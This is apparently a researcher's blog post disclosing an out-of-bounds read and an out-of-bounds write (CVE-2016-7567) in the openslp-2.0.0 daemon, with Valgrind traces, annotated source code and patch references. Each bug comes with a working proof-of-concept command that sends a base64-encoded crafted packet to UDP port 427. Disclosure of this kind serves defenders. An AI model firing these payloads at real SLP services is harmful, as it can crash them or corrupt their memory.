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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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2018-11-07

MORE BUGS IN OPENSLP-2.0.0
==========================

I discovered some bugs in openslp-2.0.0 back in January, 2018. 
One of them I disclosed in June (dumpco.re/blog/openslp-2.0.0-double-free),
and today I'm disclosing two more.


BUG 1
=====

This issue is an OOB read that does not crash the application.
So in terms of exploitation it is not very interesting. If that's what
you're here for then scroll down to bug#2.
After the occurence of the bug the application actually detects the error
and ignores the malicious packet. Therefore, it could be argued that this
is not a bug at all. Nevertheless, here it is:

Proof of concept exploit:

  echo -n "AgMAAAAAAAAAAAAAAAAAAPQAATEAAAAAB2VuAAAAF3M=" | base64 -d > /dev/udp/127.0.0.1/427

Valgrind report:

  ==27968== Invalid read of size 1
  ==27968== at 0x412436: GetUINT16 (slp_message.c:63)
  ==27968== by 0x4159C7: v2ParseSrvReg (slp_v2message.c:327)
  ==27968== by 0x4159C7: SLPv2MessageParseBuffer (slp_v2message.c:1005)
  ==27968== by 0x40BF4A: SLPDProcessMessage (slpd_process.c:1393)
  ==27968== by 0x407139: IncomingDatagramRead (slpd_incoming.c:95)
  ==27968== by 0x407139: SLPDIncomingHandler (slpd_incoming.c:420)
  ==27968== by 0x40256B: main (slpd_main.c:699)
  ==27968== Address 0x5b5c3f1 is 0 bytes after a block of size 81 alloc'd
  ==27968== at 0x4C28C20: malloc (vg_replace_malloc.c:296)
  ==27968== by 0x40FC1C: SLPBufferAlloc (slp_buffer.c:67)
  ==27968== by 0x40FCBA: SLPBufferDup (slp_buffer.c:139)
  ==27968== by 0x40BF7F: SLPDProcessMessage (slpd_process.c:1383)
  ==27968== by 0x407139: IncomingDatagramRead (slpd_incoming.c:95)
  ==27968== by 0x407139: SLPDIncomingHandler (slpd_incoming.c:420)
  ==27968== by 0x40256B: main (slpd_main.c:699)

Analysis:

v2ParseSrvReg is responsible for parsing incoming requests. Various bytes
are read from the packet and interpreted as integers used as length fields.
One of them is the scopelistlen, parsed on line 321, and further used as
argument for the amount of bytes to increment the buffer->curpos pointer
in the the GetStrPtr function, shown below on line 112. It now points to
uninitialized memory.

The OOB read occurs in GetUINT16, called on line 327 where the buffer->curpos 
pointer is dereferenced.

Subsequently the comparison on line 329 evaluates to true since the
buffer->curpos now points to memory located after the buffer->end
pointer. The application therefore stops processing the malicious packet.

  291 static int v2ParseSrvReg(SLPBuffer buffer, SLPSrvReg * srvreg)
  292 {
  293    int result;
  294
  295 /*  0                   1                   2                   3
  296     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
  297    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  298    |                          <URL-Entry>                          \
  299    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  300    | length of service type string |        <service-type>         \
  301    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  302    |     length of <scope-list>    |         <scope-list>          \
  303    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  304    |  length of attr-list string   |          <attr-list>          \
  305    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  306    |# of AttrAuths |(if present) Attribute Authentication Blocks...\
  307    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ */
  308
  309    /* Parse the <URL-Entry>. */
  310    result = v2ParseUrlEntry(buffer, &srvreg->urlentry);
  311    if (result != 0)
  312       return result;
  313
  314    /* Parse the <service-type> string. */
  315    srvreg->srvtypelen = GetUINT16(&buffer->curpos);
  316    srvreg->srvtype = GetStrPtr(&buffer->curpos, srvreg->srvtypelen);
  317    if (buffer->curpos > buffer->end)
  318       return SLP_ERROR_PARSE_ERROR;
  319
  320    /* Parse the <scope-list> string. */
  321    srvreg->scopelistlen = GetUINT16(&buffer->curpos);
  322    srvreg->scopelist = GetStrPtr(&buffer->curpos, srvreg->scopelistlen);
  323    if (buffer->curpos > buffer->end)
  324       return SLP_ERROR_PARSE_ERROR;
  325
  326    /* Parse the <attr-list> string. */
  327    srvreg->attrlistlen = GetUINT16(&buffer->curpos);
  328    srvreg->attrlist = GetStrPtr(&buffer->curpos, srvreg->attrlistlen);
  329    if (buffer->curpos > buffer->end)
  330       return SLP_ERROR_PARSE_ERROR;
 
   54 /** Extract a 16-bit big-endian buffer value into a native 16-bit word.
   55  *
   56  * @param[in,out] cpp - The address of a pointer from which to extract.
   57  *
   58  * @return A 16-bit unsigned value in native format; the buffer pointer
   59  *    is moved ahead by 2 bytes on return.
   60  */
   61 uint16_t GetUINT16(uint8_t ** cpp)
   62 {
   63    uint16_t rv = AS_UINT16(*cpp);
   64    *cpp += 2;
   65    return rv;
   66 }
  ...
   96 /** Extract a string buffer address into a character pointer.
   97  *
   98  * Note that this routine doesn't actually copy the string. It only casts
   99  * the buffer pointer to a character pointer and moves the value at @p cpp
  100  * ahead by @p len bytes.
  101  *
  102  * @param[in,out] cpp - The address of a pointer from which to extract.
  103  * @param[in] len - The length of the string to extract.
  104  *
  105  * @return A pointer to the first character at the address pointed to by
  106  *    @p cppstring pointer; the buffer pointer is moved ahead by @p len bytes
  107  *    on return.
  108  */
  109 char * GetStrPtr(uint8_t ** cpp, size_t len)
  110 {
  111    char * sp = (char *)*cpp;
  112    *cpp += len;
  113    return sp;
  114 }


Proof of discovery: 

  $ echo -n "AgMAAAAAAAAAAAAAAAAAAPQAATEAAAAAB2VuAAAAF3M=" | base64 -d | sha256sum
  0d3f7a6e45a59def9097db4f103f95e4af2560bdb25853f9ee1c2e758c7d4946  -

twitter.com/magnusstubman/status/953909628622069760


Patch:

I'm not aware of any patch, and I'm not sure the maintainers are going to patch it.

BUG 2
=====

First and foremost, I'm not claiming credit for this bug since it was
apparently discovered by Reno Robert and publicly disclosed on the
oss-security mailing list on 2016-09-27 and awarded CVE-2016-7567
the day after.

openwall.com/lists/oss-security/2016/09/27/4
openwall.com/lists/oss-security/2016/09/28/1

Anyhow, I wasn't aware of the issue and found it by fuzzing, so I
reported it to the maintainers who made me aware of the earlier discovery.
What puzzled me was that no announcement had been made and the fact that
the latest stable version on their website is still vulnerable! I found it
2017-12-06 and reported it 2018-01-18. See further down for proof of
discovery.

I havn't been able to find any exploit for this bug anywhere. Therefore,
I'm today disclosing a proof-of-concept exploit for the bug to increase
attention on the issue.

Exploit:

  echo -n "AgkAAA8AAAAAAJuiAAAAAAAAAJtkaXJlYwB/ACssZVJlblxkZQkJCAkJ8wkJCQkJCYAJCQkJCWF0CQlkCQBkLCwsLEUsLCwsLCwsLCwsLCwsLCwsSCwsLCwsLIAsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCysLCwsLCwAAAPoLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCxcZGUJCQgJCfMJCQkJCQkJCQkJCQlhdAkJZAkAZCwsLCwsLCwsLCwsLA==" | base64 -d > /dev/udp/127.0.0.1/427

Valgrind report:

  ==56913== Invalid write of size 1
  ==56913== at 0x4C2D6A3: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:914)
  ==56913== by 0x40FD0B: SLPFoldWhiteSpace (slp_compare.c:210)
  ==56913== by 0x4100DC: SLPCompareString (slp_compare.c:374)
  ==56913== by 0x410331: SLPContainsStringList (slp_compare.c:514)
  ==56913== by 0x4103C6: SLPIntersectStringList (slp_compare.c:550)
  ==56913== by 0x40C606: ProcessSrvTypeRqst (slpd_process.c:1220)
  ==56913== by 0x40C606: SLPDProcessMessage (slpd_process.c:1431)
  ==56913== by 0x406F69: IncomingDatagramRead (slpd_incoming.c:94)
  ==56913== by 0x406F69: SLPDIncomingHandler (slpd_incoming.c:406)
  ==56913== by 0x402383: main (slpd_main.c:699)
  ==56913== Address 0x5b5dd06 is 0 bytes after a block of size 6 alloc'd
  ==56913== at 0x4C28C20: malloc (vg_replace_malloc.c:296)
  ==56913== by 0x415C51: _xmemdup (slp_xmalloc.c:356)
  ==56913== by 0x410096: SLPCompareString (slp_compare.c:365)
  ==56913== by 0x410331: SLPContainsStringList (slp_compare.c:514)
  ==56913== by 0x4103C6: SLPIntersectStringList (slp_compare.c:550)
  ==56913== by 0x40C606: ProcessSrvTypeRqst (slpd_process.c:1220)
  ==56913== by 0x40C606: SLPDProcessMessage (slpd_process.c:1431)
  ==56913== by 0x406F69: IncomingDatagramRead (slpd_incoming.c:94)
  ==56913== by 0x406F69: SLPDIncomingHandler (slpd_incoming.c:406)
  ==56913== by 0x402383: main (slpd_main.c:699)

The while loop on line 207 fails to perform bounds checking, and as such
may end up incrementing the pointer p up to a point such that p is bigger
than ep. Thus, the third argument to memmove on line 2010 becomes negative.
However, since memmove accepts a size_t (which is unsigned) the value wraps
around and becomes UINT_MAX or close to UINT_MAX resulting in memmove
attempting to move an excessive amount of memory, resulting in OOB write.

  184 /** fold internal white space within a string.
  185  *
  186  * folds all internal white space to a single space character within a
  187  * specified string. modified the @p str parameter with the result and
  188  * returns the new length of the string.
  189  *
  190  * @param[in] len - the length in bytes of @p str.
  191  * @param[in,out] str - the string from which extraneous white space
  192  *    should be removed.
  193  *
  194  * @return the new (shorter) length of @p str.
  195  *
  196  * @note this routine assumes that leading and trailing white space have
  197  *    already been removed from @p str.
  198  */
  199 static int slpfoldwhitespace(size_t len, char * str)
  200 {
  201    char * p = str, * ep = str + len;
  202    while (p < ep)
  203    {
  204       if (isspace(*p))
  205       {
  206          char * ws2p = ++p;         /* point ws2p to the second ws char. */
  207          while (isspace(*p))        /* scan till we hit a non-ws char. */
  208             p++;
  209          len -= p - ws2p;           /* reduce the length by extra ws. */
  210          memmove(ws2p, p, ep - p);  /* overwrite the extra white space. */
  211       }
  212       p++;
  213    }
  214    return (int)len;
  215 }

Proof of discovery:

  $ echo -n "AgkAAA8AAAAAAJuiAAAAAAAAAJtkaXJlYwB/ACssZVJlblxkZQkJCAkJ8wkJCQkJCYAJCQkJCWF0CQlkCQBkLCwsLEUsLCwsLCwsLCwsLCwsLCwsSCwsLCwsLIAsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCysLCwsLCwAAAPoLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCxcZGUJCQgJCfMJCQkJCQkJCQkJCQlhdAkJZAkAZCwsLCwsLCwsLCwsLA==" | base64 -d | sha256sum
  5bba9f9410bd4dffa4dc119477153002002db3fdd26a97080e43bfd95aeadb24  -

twitter.com/magnusstubman/status/938317849474555904

Patch: sourceforge.net/p/openslp/mercurial/ci/34fb3aa5e6b4997fa21cb614e480de36da5dbc9a 

REFERENCES
==========

- sourceforge.net/p/openslp/bugs/161
- sourceforge.net/p/openslp/bugs/160
- twitter.com/magnusstubman/status/938317849474555904
- twitter.com/magnusstubman/status/953909628622069760
- sourceforge.net/p/openslp/mercurial/ci/34fb3aa5e6b4997fa21cb614e480de36da5dbc9a
- openwall.com/lists/oss-security/2016/09/27/4
- openwall.com/lists/oss-security/2016/09/28/1